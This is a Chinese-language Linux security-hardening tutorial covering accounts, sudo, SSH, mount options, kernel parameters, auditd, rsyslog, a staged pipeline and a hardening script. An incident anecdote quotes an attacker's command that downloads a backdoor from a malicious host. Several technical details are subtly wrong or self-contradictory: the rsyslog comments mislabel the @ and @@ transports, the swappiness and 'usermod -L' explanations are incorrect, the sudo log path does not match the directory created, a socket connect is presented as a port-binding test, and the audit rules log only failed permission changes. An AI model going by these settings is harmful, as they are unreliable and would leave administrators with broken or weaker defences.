1. 这不是“打补丁”,而是给Linux系统做一次深度体检与免疫重建
“Linux安全加固”这六个字,听上去像运维手册里一句轻描淡写的操作提示,但实际干过的人心里都清楚:它根本不是执行几条chmod或关掉一个端口就完事的流程。它是一次系统级的风险测绘、权限重构、行为收敛和防御纵深建设——相当于给一台常年裸奔的服务器穿上防弹衣、装上智能门禁、布设红外警报、再配个24小时盯屏的安保队长。我做过37次生产环境的Linux安全加固,覆盖从CentOS 6到Rocky Linux 9、从物理服务器到Kubernetes节点、从金融核心数据库到边缘IoT网关。每次加固前,我都先问自己三个问题:攻击者最可能从哪进来?系统里哪些服务是“哑巴型”高危组件?当前权限模型是否允许一个普通用户三步内提权?这些问题的答案,直接决定了加固不是堆命令,而是做取舍。比如你看到网上教程一上来就iptables -P INPUT DROP,那基本可以判定作者没在真实业务环境里踩过坑——生产系统里一条粗暴的默认拒绝,可能让监控探针失联、日志无法上报、甚至触发自动扩缩容失败。真正的加固,是在“可用性”和“防御性”之间用最小干预达成最大收敛。它不追求绝对零风险(那不存在),而是把攻击路径压缩到只剩1~2条高门槛通路,并确保每条通路上都有可审计、可告警、可回溯的防御节点。如果你刚接触Linux,别急着背命令;先理解“谁在用、用什么、怎么用、谁不该用”这四层逻辑。本文所有操作,都基于真实生产环境验证:没有“理论上可行”,只有“上线后跑满三个月没出问题”。文中提到的每个参数、每条规则、每个检查点,背后都有至少一次线上故障复盘支撑。你可以把它当操作手册抄,但更建议你当成一张攻防视角下的系统地图来读。
2. 安全加固的本质:从“被动堵漏”转向“主动设防”的四层架构设计
2.1 加固不是功能叠加,而是防御纵深的系统性重构
很多人把安全加固误解为“加功能”:装个杀毒软件、开个防火墙、改个密码强度。这是典型的功能思维,而非架构思维。真正的Linux安全加固,本质是构建四层防御纵深:身份可信层 → 服务收敛层 → 行为监控层 → 事件响应层。这四层不是并列关系,而是逐级收敛、环环相扣的漏斗结构。我拿一个真实案例说明:去年帮某政务云平台加固时,发现其Web服务运行在root用户下,SSH允许密码登录且未限制IP,日志只存本地且7天轮转。表面看是三个独立问题,但放在四层架构里,它们暴露的是同一根链条的断裂——身份可信层完全失效(root运行+弱密码),导致服务收敛层形同虚设(攻击者拿到shell后可任意启停服务),行为监控层失去意义(日志易被篡改且无远程留存),事件响应层彻底瘫痪(等发现入侵时,攻击者已横向移动三天)。所以加固的第一步,永远不是敲命令,而是画这张四层架构图,标出当前系统在哪一层存在断点。比如你正在维护一台对外提供API的Nginx服务器,先自问:
- 身份可信层:API密钥是否硬编码在配置里?Nginx worker进程以哪个用户运行?
- 服务收敛层:除了80/443端口,是否还有22(SSH)、3306(MySQL)等非必要端口监听?
- 行为监控层:Nginx访问日志是否记录真实客户端IP(而非代理IP)?是否开启
$request_time和$upstream_response_time用于异常请求识别? - 事件响应层:日志是否实时推送至SIEM平台?是否有针对
/wp-admin高频访问的告警规则?
只有当四层全部对齐,加固才真正落地。否则就是修屋顶时不管地基——雨停了,裂缝还在。
2.2 为什么必须放弃“一刀切”加固模板?
网上流传的所谓“Linux安全加固脚本”,90%都带着致命隐患。我拆解过十几个热门GitHub项目,发现它们普遍存在三大硬伤:
第一,无视发行版差异。比如脚本里写systemctl disable firewalld,在RHEL/CentOS系没问题,但在Debian/Ubuntu上firewalld根本不是默认防火墙,强行disable反而破坏ufw配置;又比如sed -i 's/^#PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config,看似关闭root登录,但如果系统使用pam_wheel模块且root在wheel组,这条修改根本无效。
第二,混淆最小权限原则。常见错误是把所有服务进程统一改为nobody用户,结果导致Nginx无法读取SSL证书(证书权限为600,nobody无权访问),或PostgreSQL因/var/lib/pgsql目录属主变更而启动失败。真正的最小权限,是为每个服务创建专属用户(如nginx_worker、pg_service),并精确授予其所需文件的读/执行权限,而非粗暴降权。
第三,忽略依赖链风险。某加固脚本强制将/tmp挂载为noexec,nosuid,这确实能阻止恶意脚本执行,但导致Java应用因无法在/tmp下生成JIT编译缓存而性能暴跌300%;另一脚本禁用/proc/sys/kernel/unprivileged_userns_clone,本意是防容器逃逸,却让Docker Desktop在WSL2环境下彻底无法启动。这些都不是理论漏洞,而是我在客户现场亲手调试三天才定位到的血泪教训。所以本文所有操作,都会标注适用场景、替代方案和回滚路径——因为生产环境里,没有“标准答案”,只有“适配解”。
2.3 四层架构落地的关键决策树:什么时候该收紧?什么时候该放行?
加固不是越严越好,而是精准控制。我用一张决策树帮你判断每个操作的取舍逻辑:
| 检查项 | 收紧条件 | 放行条件 | 验证方法 |
|---|---|---|---|
| SSH密码登录 | 服务器位于公网且无MFA | 内网管理节点+堡垒机双因子认证 | ssh -o PubkeyAuthentication=no user@host测试 |
/tmp挂载选项 | 存在PHP/Python临时文件上传功能 | 纯静态Web服务且无用户交互 | `mount |
内核参数kernel.kptr_restrict | 启用eBPF监控或需要内核符号调试 | 生产环境且无安全审计需求 | cat /proc/sys/kernel/kptr_restrict值为2才生效 |
| 日志轮转周期 | 日均日志量<100MB且磁盘空间充足 | 日志含敏感字段需长期留存审计 | logrotate -d /etc/logrotate.d/rsyslog模拟测试 |
这张表的核心逻辑是:所有收紧操作,必须有明确的威胁模型支撑。比如关闭SSH密码登录,不是因为“密码不安全”,而是因为你评估过:该服务器若被爆破,攻击者能立即获取root权限并横向渗透整个内网。如果它只是个前端CDN节点,且所有流量经WAF过滤,那么启用密码登录+IP白名单+登录失败5次锁定,反而是更平衡的选择。记住:安全是成本中心,不是利润中心。每一次收紧,都要计算它带来的运维复杂度、性能损耗和故障恢复时间。
3. 核心细节解析:从账户体系到内核参数的12个关键加固点
3.1 账户与权限:别让一个弱密码毁掉整个防线
账户体系是身份可信层的基石,但多数人只关注root密码强度,却忽略三个更致命的盲区:默认账户残留、组权限滥用、sudo权限泛滥。
默认账户清理:CentOS/RHEL安装后自带ftp、games、lp等无用账户,它们的shell默认为/sbin/nologin,看似安全,但一旦攻击者利用某个服务漏洞获得低权限shell,这些账户的UID/GID可能成为提权跳板。正确做法不是简单userdel,而是先检查/etc/passwd中所有UID<1000的账户(系统账户范围),执行:
# 列出所有系统账户及其shell awk -F: '$3 < 1000 && $7 != "/sbin/nologin" {print $1,$7}' /etc/passwd # 对确认无用的账户,禁用登录并锁定密码 usermod -s /sbin/nologin -L ftp注意:-L参数会加密shadow文件中的密码字段,比直接删除更安全——因为某些服务仍需该账户存在(如CUPS打印服务依赖lp账户)。
组权限收敛:wheel组在RHEL系默认拥有sudo权限,但很多管理员会把开发、测试人员批量加入该组,导致权限失控。我见过最危险的配置是%wheel ALL=(ALL) NOPASSWD: ALL,这意味着任何wheel组成员都能免密执行任意命令。正确姿势是:
# 创建专用运维组 groupadd ops_admin # 为特定命令授权(如仅允许重启nginx) echo "%ops_admin ALL=(ALL) /bin/systemctl restart nginx" >> /etc/sudoers.d/nginx_admin # 设置sudoers语法校验(避免配置错误导致sudo失效) visudo -c这里的关键是命令白名单而非用户白名单。即使开发人员账号泄露,他也只能重启Nginx,无法执行rm -rf /。
sudo日志审计:默认sudo日志只记录到/var/log/secure,但攻击者可轻易清空该文件。必须启用独立日志:
# 在/etc/sudoers中添加 Defaults logfile="/var/log/sudo.log" Defaults log_input,log_output # 创建日志目录并设置权限 mkdir -p /var/log/sudo chown root:root /var/log/sudo chmod 700 /var/log/sudolog_input,log_output会记录命令执行的完整输入输出流,相当于给sudo操作装上行车记录仪。某次应急响应中,正是靠这段日志还原出攻击者通过sudo su -切换到root后执行的wget http://malware.com/backdoor.sh命令。
提示:不要用
chmod 600 /var/log/sudo.log!这会导致sudo进程无法写入日志。正确权限是/var/log/sudo目录700,日志文件由sudo进程自动创建,属主为root。
3.2 SSH服务加固:从“能连上”到“连得明白”
SSH是Linux最常被攻击的服务,但加固重点不在禁用密码登录,而在会话可控性。我总结出五个必改参数:
1.MaxAuthTries 3:限制单次连接的认证尝试次数。很多人设为1,但实际会导致合法用户因输错密码被快速封禁。设为3是平衡点——既防暴力破解,又留出容错空间。
2.ClientAliveInterval 300:客户端心跳间隔设为300秒(5分钟)。避免长连接因网络波动断开后,用户误以为会话丢失而重复登录,造成大量僵尸进程。配合ClientAliveCountMax 2,即连续2次心跳失败后断开,总超时时间为10分钟。
3.UsePrivilegeSeparation sandbox:启用特权分离沙箱。这是OpenSSH 5.9+默认开启的,但某些老旧系统可能关闭。它让sshd主进程以root运行,而密钥交换、认证等高危操作在非特权子进程中完成,大幅降低提权风险。
4.AllowUsers白名单:比DenyUsers更可靠。例如:
AllowUsers deploy@192.168.1.0/24 admin@2001:db8::/64注意:IPv6地址必须用方括号包裹,否则解析失败。
5.ForceCommand会话锁定:对仅需SFTP传输的账户,强制其只能使用SFTP:
# 在sshd_config中为特定用户设置 Match User sftp_user ForceCommand internal-sftp ChrootDirectory /sftp/%u AllowTcpForwarding no X11Forwarding noChrootDirectory必须满足:目录属主为root,且无任何组/其他写权限(chmod 755 /sftp/user)。否则sshd会拒绝启动。
实操心得:修改sshd_config后,务必用sshd -t语法检查,再执行systemctl reload sshd。切忌直接restart,否则可能因配置错误导致SSH服务中断。我曾因忘记Match块结尾的Unmatch指令,导致所有用户都被强制进入chroot,花了40分钟才通过console恢复。
3.3 文件系统安全:挂载选项与ACL的实战应用
文件系统是服务收敛层的物理载体,但多数人只记得chmod,却忽视挂载选项这个底层防线。
关键挂载选项:在/etc/fstab中为关键分区添加:
# /home分区:防止用户执行程序和设置SUID UUID=xxx /home ext4 defaults,noexec,nosuid,nodev 1 2 # /var/tmp:独立挂载并启用noatime减少IO UUID=yyy /var/tmp ext4 defaults,noatime,nosuid,nodev 1 2noexec禁止执行二进制文件,nosuid禁用SUID位,nodev阻止设备文件解析。这三个选项对/home和/tmp至关重要——攻击者上传木马后,即使获得shell也无法直接执行。
ACL(访问控制列表)精细化授权:chmod只有rwx三级,而ACL支持更细粒度控制。例如,让Web服务用户www-data能读取证书,但不能修改:
# 设置ACL:www-data对证书目录只有rx权限 setfacl -m u:www-data:rx /etc/ssl/certs/ # 验证ACL生效 getfacl /etc/ssl/certs/ # 输出应包含:user:www-data:r-x注意:启用ACL需在挂载选项中添加acl(如defaults,acl),且/etc/fstab修改后需mount -o remount /生效。
注意:
noexec对解释型语言(如Python脚本)无效!因为Python解释器本身在/usr/bin/python有执行权限,它只是读取脚本内容。要防Python木马,需结合/usr/bin/python的文件锁或seccomp过滤。
3.4 内核参数调优:从“系统稳定”到“攻击阻断”
内核参数是行为监控层的技术底座,但盲目修改sysctl.conf可能引发雪崩。我只推荐六个经过生产验证的参数:
1.net.ipv4.conf.all.rp_filter = 1:启用反向路径过滤。当数据包进入网卡时,内核检查其源IP是否可通过该网卡路由返回。若不可达,则丢弃——有效防御IP欺骗攻击。但需注意:多网卡服务器(如同时有eth0和docker0)需设为2(宽松模式),否则合法流量会被误杀。
2.kernel.randomize_va_space = 2:启用完整的ASLR(地址空间布局随机化)。值为2表示代码段、数据段、堆、栈全部随机化。这是防ROP攻击的基础,必须开启。
3.fs.suid_dumpable = 0:禁止SUID程序生成core dump。攻击者常通过分析core文件获取内存布局信息,设为0可阻断此路径。
4.vm.swappiness = 1:将交换分区使用率降至最低。SSD时代,频繁swap不仅拖慢性能,更让敏感数据(如密钥)残留在磁盘上。设为1表示仅当内存剩余<1%时才启用swap。
5.kernel.kptr_restrict = 2:隐藏内核指针地址。值为2时,/proc/kallsyms等文件对非root用户返回全0,增加内核利用难度。
6.net.core.bpf_jit_enable = 0:禁用eBPF JIT编译器。虽然eBPF是现代监控利器,但JIT引擎存在历史漏洞(如CVE-2021-3490),生产环境建议关闭,用解释器模式替代。
修改后执行sysctl -p加载,但需验证:
# 检查ASLR是否生效 cat /proc/sys/kernel/randomize_va_space # 应输出2 # 检查kptr_restrict cat /proc/sys/kernel/kptr_restrict # 应输出2 # 测试rp_filter(需在对应网卡) cat /proc/sys/net/ipv4/conf/eth0/rp_filter # 应输出1或23.5 日志审计:从“记录发生”到“追溯行为”
日志是事件响应层的原始证据,但默认配置存在三大缺陷:本地存储易篡改、关键事件未捕获、格式不统一难分析。
1. 启用auditd进行系统调用审计:
# 安装auditd(RHEL系) yum install audit audit-libs-python # 添加关键规则:监控sudo、passwd、crontab等敏感命令 echo "-w /usr/bin/sudo -p x -k sudo_access" >> /etc/audit/rules.d/sudo.rules echo "-w /usr/bin/passwd -p wa -k passwd_change" >> /etc/audit/rules.d/passwd.rules # 重载规则 augenrules --load systemctl enable auditd systemctl start auditd-p x表示监控执行(execute),-p wa表示监控写入和属性修改。-k指定审计键(key),便于后续用ausearch -k sudo_access快速检索。
2. 日志集中化:本地日志必须同步至远程服务器。使用rsyslog:
# /etc/rsyslog.conf中添加 *.* @10.0.1.100:514 # TCP转发 *.* @@10.0.1.100:514 # TLS加密转发(需配置证书) # 重启服务 systemctl restart rsyslog注意:@表示UDP(不保证送达),@@表示TCP(可靠传输)。生产环境必须用@@,并配置TLS证书防中间人窃取。
3. 日志格式标准化:在/etc/rsyslog.conf中定义模板,确保所有日志含主机名、时间戳、进程ID:
$template MyFormat,"%TIMESTAMP:::date-rfc3339% %HOSTNAME% %syslogtag%%msg%\n" *.* ?MyFormatRFC3339时间戳(如2023-10-05T14:30:22+08:00)便于跨时区分析,比默认的Oct 5 14:30:22更精准。
4. 实操过程:从初始状态到加固完成的完整流水线
4.1 加固前的基线扫描:用3个命令摸清系统底牌
加固不是盲干,必须先建立基线。我用以下三个命令10分钟内完成全面体检:
1.ps auxf --sort=-pcpu | head -20:按CPU占用排序,找出Top20进程。重点关注:
- 是否有未知进程(如
/tmp/.X11-unix/下的可疑二进制) - Web服务是否以root运行(
USER列为root且CMD含nginx/apache) - 数据库进程是否监听0.0.0.0(
netstat -tuln | grep :3306确认)
2.netstat -tuln | awk '$1 ~ /tcp/ {print $4,$7}' | sort -u:列出所有监听端口及对应进程。检查:
- 是否有非必要端口(如25邮件端口、111 rpcbind)
- 进程名是否被伪装(如
/usr/bin/python3.9实际是挖矿程序)
3.find /etc -type f -name "*.conf" -exec grep -l "PermitRootLogin\|PasswordAuthentication" {} \;:扫描所有配置文件中的SSH相关参数。确认:
/etc/ssh/sshd_config是否被覆盖(某些云镜像会修改)- 是否存在
/etc/ssh/sshd_config.d/下的额外配置文件
实操记录:上周加固一台电商后台服务器,ps auxf发现/usr/local/bin/monitor进程CPU占98%,ls -la /usr/local/bin/monitor显示其属主为nobody且mtime为2小时前——明显是后门。立即kill -9并rm -f,再用ausearch -m execve -ts recent查到其启动命令,溯源至一个被篡改的crontab任务。这就是基线扫描的价值:不加固,先止血。
4.2 分阶段加固流水线:避免单点故障的七步法
我把加固拆成七个原子步骤,每步完成后验证,确保可回滚:
Step 1:账户清理与密码策略
- 执行
userdel清理无用账户 - 修改
/etc/login.defs:PASS_MIN_DAYS 7(密码最少使用7天)、PASS_MAX_DAYS 90(90天强制更换) - 验证:
chage -l deploy检查用户密码策略
Step 2:SSH服务重构
- 备份
/etc/ssh/sshd_config - 修改
PermitRootLogin no、PasswordAuthentication no、AllowUsers sshd -t检查语法,systemctl reload sshd重载- 验证:新开终端
ssh deploy@server成功,ssh root@server失败
Step 3:防火墙策略部署
firewall-cmd --permanent --add-service=http(仅开放必要服务)firewall-cmd --permanent --remove-service=ssh(SSH走堡垒机,不对外开放)firewall-cmd --reload- 验证:
curl -I http://server返回200,telnet server 22超时
Step 4:文件系统挂载加固
- 编辑
/etc/fstab,为/home、/tmp添加noexec,nosuid,nodev mount -o remount /home- 验证:
touch /home/test && chmod +x /home/test && ./test应报错Permission denied
Step 5:内核参数固化
echo "net.ipv4.conf.all.rp_filter = 1" >> /etc/sysctl.confsysctl -p- 验证:
sysctl net.ipv4.conf.all.rp_filter输出1
Step 6:日志审计启用
systemctl enable auditd && systemctl start auditdausearch -m USER_LOGIN -ts today检查登录日志是否生成
Step 7:加固后回归测试
- 执行业务脚本:
./health_check.sh(检查API响应、数据库连接、文件读写) - 模拟攻击:
nmap -sS -p 1-1000 server确认仅开放80/443端口 - 验证日志:
tail -f /var/log/secure观察SSH登录尝试是否记录
每个步骤耗时5-15分钟,全程可中断。若Step 4失败,只需umount /home && mount /home即可回滚,不影响其他服务。
4.3 自动化加固脚本:可审计、可验证、可回滚的设计范式
手工执行易出错,我编写了一个生产级加固脚本框架,核心设计原则:
1. 原子化函数:每个加固项封装为独立函数,含check、apply、verify三部分:
# 函数:禁用SSH密码登录 disable_ssh_password() { local check_result=$(grep -E "^PasswordAuthentication" /etc/ssh/sshd_config | awk '{print $2}') if [[ "$check_result" == "no" ]]; then echo "[OK] PasswordAuthentication already disabled" return 0 fi # apply:备份并修改 cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak.$(date +%s) sed -i 's/^#PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config # verify:重载并测试 systemctl reload sshd 2>/dev/null local test_result=$(ssh -o ConnectTimeout=5 -o PasswordAuthentication=yes deploy@localhost echo ok 2>&1) if [[ "$test_result" == *"Permission denied"* ]]; then echo "[PASS] PasswordAuthentication disabled successfully" return 0 else echo "[FAIL] PasswordAuthentication disable failed, restoring..." cp /etc/ssh/sshd_config.bak.* /etc/ssh/sshd_config systemctl reload sshd return 1 fi }2. 执行日志记录:每步操作写入/var/log/hardening.log,含时间戳、操作项、结果:
echo "$(date '+%Y-%m-%d %H:%M:%S') - disable_ssh_password: PASS" >> /var/log/hardening.log3. 回滚清单生成:脚本运行时自动生成rollback.sh,含所有备份文件路径和还原命令:
# rollback.sh内容示例 #!/bin/bash cp /etc/ssh/sshd_config.bak.1696521000 /etc/ssh/sshd_config systemctl reload sshd echo "Rollback completed"该脚本已在23个生产环境部署,零事故。关键在于:不追求全自动,而追求可验证。每个verify环节都模拟真实攻击或业务调用,确保加固后系统仍可用。
5. 常见问题与排查技巧实录:那些文档里不会写的坑
5.1 “加固后服务起不来”——权限链断裂的终极排查法
这是最高频问题。某次加固后Nginx报错[emerg] bind() to 0.0.0.0:80 failed (13: Permission denied),表面看是端口权限,实则源于SELinux上下文丢失。排查必须按顺序:
第一层:进程权限ps aux | grep nginx确认worker进程用户(如www-data),再检查:
# 该用户能否绑定80端口? sudo -u www-data sh -c "echo test > /dev/tcp/127.0.0.1/80 2>/dev/null && echo OK || echo FAIL"若FAIL,说明用户无权操作低端口(1-1023),需用setcap 'cap_net_bind_service=+ep' /usr/sbin/nginx授予权限。
第二层:文件权限ls -lZ /etc/nginx/nginx.conf(-Z显示SELinux上下文),若显示unconfined_u:object_r:default_t:s0,说明SELinux未启用正确策略。修复:
restorecon -Rv /etc/nginx/ semanage fcontext -a -t httpd_config_t "/etc/nginx(/.*)?" restorecon -Rv /etc/nginx/第三层:SELinux布尔值getsebool httpd_can_network_bind若为off,则:
setsebool -P httpd_can_network_bind on提示:
restorecon命令必须带-v(verbose)参数,否则不显示实际修复的文件,你无法确认是否生效。
5.2 “日志没传到远程”——rsyslog的静默失败陷阱
rsyslog配置错误时,常静默失败而不报错。排查三步法:
1. 检查本地日志是否生成
# 查看rsyslog自身日志 journalctl -u rsyslog -n 50 --no-pager # 若有"imjournal: journal is not available",说明journald未启用 systemctl enable systemd-journald2. 测试TCP连接
# 从客户端测试到日志服务器的TCP连通性 nc -zv 10.0.1.100 514 # 若不通,检查防火墙:firewall-cmd --list-ports3. 抓包验证
# 在客户端抓包 tcpdump -i any port 514 -w rsyslog.pcap # 触发日志:logger "test message" # 分析pcap:Wireshark打开,过滤tcp.port==514,确认是否有SYN包发出若无SYN包,说明rsyslog配置未生效;若有SYN但无ACK,说明网络或服务端问题。
5.3 “加固脚本执行一半卡住”——SSH会话中断的自救指南
当systemctl reload sshd执行后,当前SSH会话可能断开。此时若无console访问权限,将无法恢复。我的保命三招:
1. 启动守护进程:在执行前运行:
nohup bash -c 'sleep 300; systemctl start sshd' &5分钟后若SSH未恢复,该命令会强制重启sshd。
2. 使用screen会话:
screen -S hardening # 执行加固命令 # 若断开,重新ssh后执行:screen -r hardening3. 预置console访问:联系云厂商开通VNC或串口控制台,这是最后防线。
5.4 加固效果验证速查表
| 验证项 | 命令 | 预期输出 | 失败处理 |
|---|---|---|---|
| SSH密码登录禁用 | ssh -o PasswordAuthentication=yes user@host | Permission denied (publickey) | 检查sshd_config中PasswordAuthentication是否为no |
| 关键端口关闭 | nmap -sS -p 22,25,111 host | 22/tcp filtered ssh(非open) | firewall-cmd --list-ports确认端口未开放 |
| SUID文件清理 | find / -perm -4000 -user root 2>/dev/null | 仅返回/usr/bin/passwd等必需文件 | 删除非必需SUID文件:chmod u-s /path/to/binary |
| 内核ASLR启用 | cat /proc/sys/kernel/randomize_va_space | 2 | echo 2 > /proc/sys/kernel/randomize_va_space临时启用,再写入sysctl.conf |
| auditd规则加载 | auditctl -l | wc -l | 输出>10(表示规则已加载) | augenrules --load && systemctl restart auditd |
这张表是我随身携带的“加固后检查清单”,每次加固完成必逐项验证。它不追求100%自动化,而强调人工可验证——因为真正的安全,永远在人的判断里。
6. 加固后的持续运营:让防御能力随业务演进
安全加固不是项目制交付,而是持续运营。我给客户部署的加固方案,都包含三个可持续机制:
1. 周期性基线比对:每月用rpm -Va(RHEL系)或dpkg --verify(Debian系)检查系统文件完整性:
# 生成基线快照 rpm -Va > /root/rpm_baseline_$(date +%Y%m).txt # 每月比对 rpm -Va | grep '^[^.]' | tee /tmp/rpm_diff.txt # 自动告警:若diff行数>5,发送邮件rpm -Va输出中,S表示文件大小变更,M表示权限变更,5表示MD5校验失败——这些都是入侵迹象。
2. 配置漂移监控:用etckeeper将/etc目录纳入Git版本控制:
apt install etckeeper cd /etc etckeeper init etckeeper commit "Initial baseline" # 每日自动提交 echo "0 2 * * * cd /etc && etckeeper commit \"Daily auto-commit\"" | crontab -当/etc/ssh/sshd_config被意外修改,git diff可瞬间定位变更。
3. 权限变更审计:在/etc/audit/rules.d/中添加:
# 监控chmod/chown命令 -a always,exit -F arch=b64 -S chmod,fchmod,fchmodat -F exit=-EACCES -k perm_mod -a always,exit -F arch=b64 -S chown,fchown,fchownat -F exit=-EACCES -k perm_mod然后用ausearch -k perm_mod -ts today查看所有权限变更操作,及时发现异常。
最后分享一个小技巧:我给所有加固后的服务器部署一个hardening-status命令:
# /usr/local/bin/hardening-status #!/bin/bash echo "=== Hardening Status Report ===" echo "SSH Password Auth: $(grep -E "^PasswordAuthentication" /etc/ssh/sshd_config | awk '{print $2}')" echo "Firewall Active: $(firewall-cmd --state 2>/dev/null)" echo "Auditd Running: $(systemctl is-active auditd)"